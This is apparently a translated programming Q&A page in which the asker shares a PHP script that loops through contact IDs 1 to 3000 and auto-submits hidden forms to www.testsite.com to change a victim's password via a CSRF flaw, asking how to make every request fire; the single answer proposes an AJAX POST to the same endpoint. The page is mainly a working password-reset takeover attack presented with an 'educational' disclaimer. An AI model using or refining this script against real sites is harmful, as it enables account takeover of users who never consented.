通过Post将多个表单提交到外部Web服务器

时间:2016-09-13 15:58:44

标签: php forms post request csrf

为了解释我想要完成的事情,这里有一些事实:

  • www.testsite.com不受CSRF保护,如果攻击者知道受害者的电子邮件及其独特的联系信息,则可能会更改受害者的密码。
  • 每个新用户只需使用1自动递增即可获得新ID。目前只有3000个contactID;这意味着1,2,3,4,5,6 - > 3000。
  • 如果攻击者知道受害者的电子邮件,他可以简单地继续猜测contactID(最多3000个)然后他就可以改变它。我想自动这样做。

- 我正在尝试创建一个PHP脚本来了解有关代码的更多信息并展示它是多么简单。我不是恶意黑客或任何近亲。

所以我想我可以使用一个自动递增contactID的循环,然后将数据发布到www.testsite.com。问题是,它不发送所有POST请求(contactID = 1,另一个请联系ID = 2等)...这是我的代码:

<?php 

echo "I set the password to 'stackoverflow'. <br/>";

$mailadres = 1; //startvalue to remove that undefined index php error.

if (isset($_GET['mailadres'])){ //i hate undefined errors
    $mailadres = $_GET['mailadres'];
}

if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET
echo "usage: ./csrf.php?mailadres=victim@gmail.com <br/>";
}


$contactid = 1; //We begin with one....


while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment.

    echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'>
                 <input type='hidden' name='contactid' value='{$contactid}'>
                 <input type='hidden' name='something' value='something'>
                <input type='hidden' name='mailadres'' value='{$mailadres}'>
                <input type='hidden' name='changepassword' value='stackoverflow'>
            </form>
            <script>document.csrf.submit();</script>";
    $contactid ++;  //increment in order to post every contactID. 

}


?>

我的问题是:如何让PHP提交所有这些表格(contactid = 1&amp; contactid = 2)

1 个答案:

答案 0 :(得分:0)

首先,您需要摆脱表单中的操作,方法等。让它简单如下:

<form id="form1">
.....
</form>

然后你需要给if元素,给出'name'中给出的相同名称。例如,见

<input type='hidden' name='contactid' id='contactid' value='{$contactid}'>

然后有一个带onClick()的按钮并触发一个函数,比如

<button id="button1" onclick="postData()">PostData</button>

然后有这样的功能

function postData(d1, d2, d3, d4) {
$.ajax({
    url: 'http://www.testsite.com/submit.php',
    data: {
        data1: d1,
        data2: d2,
        data3: d3,
        data4: d4
    },
    type: 'POST',
    success: function(result) {
       //code for success
    },
    error: function(jqXHR, textStatus, errorThrown) {
         //code in case of error
    }
});
}

每当按钮单击发生时,您的数据将自动发布到给定的URL。

希望这有帮助。

相关问题